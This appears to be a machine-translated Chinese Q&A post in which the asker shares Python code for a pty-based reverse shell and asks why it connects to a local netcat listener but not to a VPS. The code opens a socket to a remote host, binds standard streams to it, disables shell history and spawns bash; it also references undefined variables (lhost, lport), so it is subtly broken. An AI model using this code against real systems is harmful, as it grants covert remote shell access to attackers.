Linux Python中基于pty的反向shell

Linux Python中基于pty的反向shell,linux,python-3.x,networking,pty,Linux,Python 3.x,Networking,Pty,我正在尝试使用python构建一个基于pty的反向shell。 这是我的密码 import os import pty import socket rhost = "127.0.0.1" #Remote host address rport = 4444 # XXX: CHANGEME def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport))

我正在尝试使用python构建一个基于pty的反向shell。 这是我的密码

import os
import pty
import socket

rhost = "127.0.0.1" #Remote host address
rport = 4444 # XXX: CHANGEME

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    print("connected")
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()

if __name__ == "__main__":
    main()
当我试图使用类似于
nc-4444
的命令在我自己的系统上运行侦听器时,我得到了一个shell。 但是,当我尝试将主机地址更改为VPS的IP地址,并使用相同的命令在端口4444上获取侦听器时,我无法恢复外壳。出于某种原因,只有在我自己的系统上同时运行客户端和服务器时,它才起作用